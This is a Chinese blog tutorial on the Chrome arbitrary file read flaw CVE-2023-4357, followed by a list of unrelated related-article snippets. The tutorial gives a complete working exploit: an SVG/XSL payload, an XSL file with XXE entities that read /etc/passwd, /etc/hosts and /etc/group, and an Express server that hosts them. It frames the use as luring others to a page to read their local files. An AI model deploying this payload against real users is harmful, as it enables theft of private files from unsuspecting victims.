Google Chrome 任意文件读取 (CVE-2023-4357)漏洞
漏洞描述
该漏洞的存在是由于 Google Chrome 中用户提供的 XML 输入验证不足。远程攻击者可以创建特制网页,诱骗受害者访问该网页并获取用户系统上的敏感信息。远程攻击者可利用该漏洞通过构建的 HTML 页面绕过文件访问限制,导致chrome任意文件读取。Libxslt 是在基于 WebKit 的浏览器(如 chrome,safari 等)中默认使用的 XSL 库。Libxslt 允许 XSL document() 方法加载的文档内部存在外部实体。攻击者可以绕过安全限制,从 http(s):// 网址访问 file:// 网址并获取文件访问权限
影响的版本Google Chrome < 116.0.5845.96
效果如下:

Google Chrome下载地址:https://registry.npmmirror.com/binary.html?path=chromedriver/


根据自己需求下载即可
这里我们要用到三个文件,将这三个文件传入到自己搭建的web服务文件中即可,也可以是博客网站的文件中,总之是可以用浏览器访问的就好,那我们看那三个文件吧
test.svg
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="#"?><xsl:stylesheet id="color-change" version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"><xsl:template match="/"><svg version="1.1" id="Capa_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 1000 1000"><foreignObject id="myObj" width="1000" height="1000"><div style="font-size:xxx-large" xmlns="http://www.w3.org/1999/xhtml"><a href="#">#Copy me#</a><br/>XSL: <xsl:value-of select="system-property('xsl:version')"/><br/>Vendor: <xsl:value-of select="system-property('xsl:vendor')"/><br/>Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')"/><br/>document() <xsl:copy-of select="document('test.xsl')"/></div></foreignObject></svg></xsl:template>
</xsl:stylesheet>
text.xsl
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE p [
<!ENTITY passwd SYSTEM "file:///etc/passwd">
<!ENTITY hosts SYSTEM "file:///etc/hosts">
<!ENTITY group SYSTEM "file://localhost/etc/group">
]> <p><p style="border-style: dotted;">/etc/passwd:
&passwd;</p><p style="border-style: dotted;">/etc/hosts:
&hosts;</p><p style="border-style: dotted;">/etc/group:
&group;</p>
</p>
server.js
const express = require('express');
const path = require('path');const app = express();
const port = 3000;app.get('/test.svg', (req, res) => {res.sendFile(path.join(__dirname, 'test.svg'));
});app.get('/test.xsl', (req, res) => {res.set('Access-Control-Allow-Origin', '*');res.sendFile(path.join(__dirname, 'test.xsl'));
});app.listen(port, () => {console.log(`Example app listening on port ${port}`);
});
要将这三个文件放到自己搭建的web服务的文件中即可,也可以是博客网站的文件下
(注意这里的三个文件是linux的版本,也就是说Google Chrome也要是linux版本的才可以用,如果要用windows版本的则需要对这三个文件进行修改,然后下个windows版本的Google Chrome即可)
而这里要注意的是我们必须要用Google Chrome才能获取到别人的信息
用Google Chrome打开上面的上传的文件,如:http://xxx.xxx.xxx/test.svg
然后我们就可以看到如下图所示获取到别人的本机的 passwd 文件和 hosts 文件
相关文章:
Google Chrome 任意文件读取 (CVE-2023-4357)漏洞
漏洞描述 该漏洞的存在是由于 Google Chrome 中用户提供的 XML 输入验证不足。远程攻击者可以创建特制网页,诱骗受害者访问该网页并获取用户系统上的敏感信息。远程攻击者可利用该漏洞通过构建的 HTML 页面绕过文件访问限制,导致chrome任意文件读取。Li…...
psql 模式(SCHEMA)
模式是数据库领域的一个基本概念,有些数据库把模式和用户合二为一了,而postgresql则是有清晰的模式定义。 模式是数据库中的一个概念,可以理解为一个命名空间或目录,不同模式下可以有相同名称的表、函数等对象而不会产生冲突。提出…...
网络吞吐量 公网带宽有关吗?
环境: 华为交换机 深信服防火墙 问题描述: 网络吞吐量 公网带宽有关吗? 解决方案: 网络吞吐量网络吞吐量是指在特定时间内通过网络传输的数据量。它衡量了网络设备(如防火墙、交换机、路由器)或网络连…...
Linux设置静态IP
Linux设置静态IP 使用ip addr查看ip,如下所示就是动态IP 1、什么是静态IP? 静态ip就是固定的ip,需要手动设置。静态IP地址(又称固定IP地址)是长期分配给一台计算机或网络设备使用的 IP 地址。一般来说,一…...
六、Big Data Tools安装
1、安装 在Jetbrains的任意一款产品中,均可安装Big Data Tools这个插件。 2、示例 下面以DadaGrip为例: (1)打开插件中心 (2)搜索Big Data Tools,下载 3、链接hdfs (1࿰…...
数据结构【DS】特殊二叉树
完全二叉树 叶子结点只能出现在最下层和次下层, 最下层的叶子结点集中在树的左部完全二叉树中, 度为1的节点数 0个或者1个【计算时可以用这个快速计算, 配合𝑛0𝑛21】若n为奇数,则分支节点每个都有左右孩子;若n为偶数࿰…...
【Spring Boot】如何在Linux系统中快速启动Spring Boot的jar包
在Linux系统中先安装java的JDK 然后编写下列service.sh脚本,并根据自己的需求只需要修改export的log_path、exec_cmd参数即可 # 配置运行日志输出的路径 export log_path/usr/local/project/study-pro/logs # 当前服务运行的脚本命令 export exec_cmd"nohup /u…...
交替最小二乘法
前置概念导入 协同过滤(Collaborative Filtering):这是一种推荐系统的方法,依据用户之间或物品之间的相似性来进行推荐。协同过滤通常分为两种主要类型:用户基于(user-based)和物品基于…...
封面从这里取好啦
文章目录 前端NPMViteNode.js 后端JavaMavenPython 数据库算法 前端 NPM Vite Node.js 后端 Java Maven Python 数据库 算法...
DM8共享集群DSC初始化DB实例报错
DM8共享集群DSC初始化DB实例报错 问题描述 启动dmcss和dmasmsvr服务启动后,初始化DB实例提示如下报错: [dmdbalocalhost DSC0]$ /dmdb8/dmdbms/bin/dminit control/dmdb8/dmdbms/dsc_config/DSC0/dminit.ini initdb V8 db version: 0x7000c file dm.k…...
大师学SwiftUI第18章Part1 - 图片选择器和相机
如今,个人设备主要用于处理图片、视频和声音,苹果的设备也不例外。SwiftUI可以通过Image视图显示图片,但需要其它框架的支持来处理图片、在屏幕上展示视频或是播放声音。本章中我们将展示Apple所提供的这类工具。 图片选择器 Swift…...
【电子通识】USB3.0和USB2.0有什么区别?
版本 USB2.0是2000年4月27日由USB-IF组织提出了USB2.0总线协议规范。 USB3.0是2008年11月17日由USB-IF组织提出了超高速USB3.0规范。 图标对比 USB2.0的标志就是和USB1.1的标志基本上没啥区别,还是以前的那个样子,使用黑色颜色用标识 USB3.0它有一个S…...
在VSCode创建vue项目,出现“因为在此系统上禁止运行脚本”问题
问题:vue : 无法加载文件 C:\Users\***\***\Roaming\npm\vue.ps1,因为在此系统上禁止运行脚本。有关详细信息,请参阅 ht tps:/go.microsoft.com/fwlink/?LinkID135170 中的 about_Execution_Policies。 所在位置 行:1 字符: 1 解决ÿ…...
OpenCV快速入门:目标检测——轮廓检测、轮廓的距、点集拟合和二维码检测
文章目录 前言一、轮廓检测1.1 图像轮廓的概念1.2 轮廓检测算法简介1.3 轮廓检测基本步骤1.4 轮廓检测函数说明1.4.1 轮廓发现1.4.2 轮廓面积1.4.3 轮廓周长1.4.4 轮廓外接多边形1.4.5 点到轮廓距离1.4.6 凸包检测 1.5 轮廓检测代码实现 二、轮廓的距2.1 几何距2.2 中心距2.3 H…...
基于STM32的烟雾浓度检测报警仿真设计(仿真+程序+讲解视频)
这里写目录标题 📑1.主要功能📑2.仿真📑3. 程序📑4. 资料清单&下载链接📑[资料下载链接](https://docs.qq.com/doc/DS0VHTmxmUHBtVGVP) 基于STM32的烟雾浓度检测报警仿真设计(仿真程序讲解) 仿真图prot…...
Jenkins 下载安装
下载 Jenkins 选择Download LTS是稳定版本,尽量选择稳定版本,然后选择你的开发系统. 安装 Jenkins需要JAVA环境,所以安装JAVA环境 Java Jenkins支持17、21等几个版本的Java,OpenJDK JDK 21.0.1 GA Release 安装不要安装到C盘,这个后面会占较大的…...
MySQL 事务的底层原理和 MVCC(二)
7.2. undo 日志 7.2.1. 事务回滚的需求 我们说过事务需要保证原子性,也就是事务中的操作要么全部完成,要么什么也不做。但是偏偏有时候事务执行到一半会出现一些情况,比如: 情况一:事务执行过程中可能遇到各种错误&a…...
(C++)验证回文字符串
愿所有美好如期而遇 力扣(LeetCode)官网 - 全球极客挚爱的技术成长平台备战技术面试?力扣提供海量技术面试资源,帮助你高效提升编程技能,轻松拿下世界 IT 名企 Dream Offer。https://leetcode.cn/problems/valid-pali…...
代码随想录算法训练营第25天|216.组合总和III 17.电话号码的字母组合
JAVA代码编写 216. 组合总和III 找出所有相加之和为 n 的 k 个数的组合,且满足下列条件: 只使用数字1到9每个数字 最多使用一次 返回 所有可能的有效组合的列表 。该列表不能包含相同的组合两次,组合可以以任何顺序返回。 示例 1: 输入: k …...
Kotlin学习——hello kotlin 函数function 变量 类 + 泛型 + 继承
Kotlin 是一门现代但已成熟的编程语言,旨在让开发人员更幸福快乐。 它简洁、安全、可与 Java 及其他语言互操作,并提供了多种方式在多个平台间复用代码,以实现高效编程。 https://play.kotlinlang.org/byExample/01_introduction/02_Functio…...
多视图优化技术在体素艺术生成中的应用与实践
1. 项目概述:当体素艺术遇上多视图优化去年为一个独立游戏项目制作3D角色时,我尝试了市面上所有主流体素生成工具,发现它们都存在一个通病——单视角生成的模型转到其他角度经常出现结构断裂或比例失调。这促使我开始研究如何将多视图优化技术…...
保姆级教程:用ENVI5.6和Sarscape搞定高分三号雷达影像预处理(附完整流程与避坑点)
高分三号雷达影像预处理全流程实战指南:从零掌握ENVI5.6与Sarscape核心技巧 当你第一次打开高分三号雷达数据时,那些复杂的复数矩阵和特殊的成像几何是否让你望而生畏?作为国内首颗C波段多极化合成孔径雷达卫星,高分三号在海洋监测…...
明日方舟智能基建管理工具:Arknights-Mower 完整使用指南
明日方舟智能基建管理工具:Arknights-Mower 完整使用指南 【免费下载链接】arknights-mower 《明日方舟》长草助手 项目地址: https://gitcode.com/gh_mirrors/ar/arknights-mower 还在为《明日方舟》繁琐的基建管理而烦恼吗?每天需要花费大量时间…...
ComfyUI-WanVideoWrapper:AI视频生成的终极解决方案 - 从文本到视频的魔法变身
ComfyUI-WanVideoWrapper:AI视频生成的终极解决方案 - 从文本到视频的魔法变身 【免费下载链接】ComfyUI-WanVideoWrapper 项目地址: https://gitcode.com/GitHub_Trending/co/ComfyUI-WanVideoWrapper 你是否曾幻想过,只需一句话或一张图片&…...
四大编程语言对决:PHP、Java、C++、Python谁更强?
以下是关于PHP、Java、C和Python四种编程语言的主要区别的详细分析。我将从关键方面(如用途、性能、语法特点、学习曲线等)进行对比,帮助您逐步理解它们的差异。分析基于真实可靠的知识来源,包括语言设计和实际应用场景。如果有涉…...
别再报错‘PowerSI executable not found’了!手把手教你搞定Cadence 2017.4与Sigrity 2019的完整安装与联调
彻底解决Cadence与Sigrity联调报错:从安装到仿真的全流程指南 每次打开Allegro Sigrity SI准备大展拳脚时,突然跳出的"PowerSI executable not found"报错对话框,就像一盆冷水浇灭了所有热情。这个看似简单的路径配置问题ÿ…...
019螺旋矩阵
螺旋矩阵 题目链接:https://leetcode.cn/problems/spiral-matrix/description/?envTypestudy-plan-v2&envIdtop-100-liked 我的解答: public List<Integer> spiralOrder(int[][] matrix) {int mmatrix.length, nmatrix[0].length;int up0, do…...
3分钟快速上手:DamaiHelper大麦网抢票脚本完整指南
3分钟快速上手:DamaiHelper大麦网抢票脚本完整指南 【免费下载链接】DamaiHelper 大麦网演唱会演出抢票脚本。 项目地址: https://gitcode.com/gh_mirrors/dama/DamaiHelper 想要告别演唱会陪跑,轻松抢到心仪的门票吗?DamaiHelper大麦…...
5个步骤全面掌握HS2-HF_Patch:专业玩家的Honey Select 2优化配置实战指南
5个步骤全面掌握HS2-HF_Patch:专业玩家的Honey Select 2优化配置实战指南 【免费下载链接】HS2-HF_Patch Automatically translate, uncensor and update HoneySelect2! 项目地址: https://gitcode.com/gh_mirrors/hs/HS2-HF_Patch HS2-HF_Patch是专为《Hone…...
国产系统福音:在银河麒麟V10 SP1上,一条apt命令搞定安卓手机投屏(附小米手机调试全流程)
银河麒麟V10 SP1极简投屏指南:从APT安装到小米手机实战 在国产操作系统逐渐成熟的今天,银河麒麟V10 SP1以其出色的稳定性和易用性赢得了越来越多用户的青睐。作为一名长期使用麒麟系统进行移动开发的技术顾问,我深刻理解在国产化环境中实现高…...
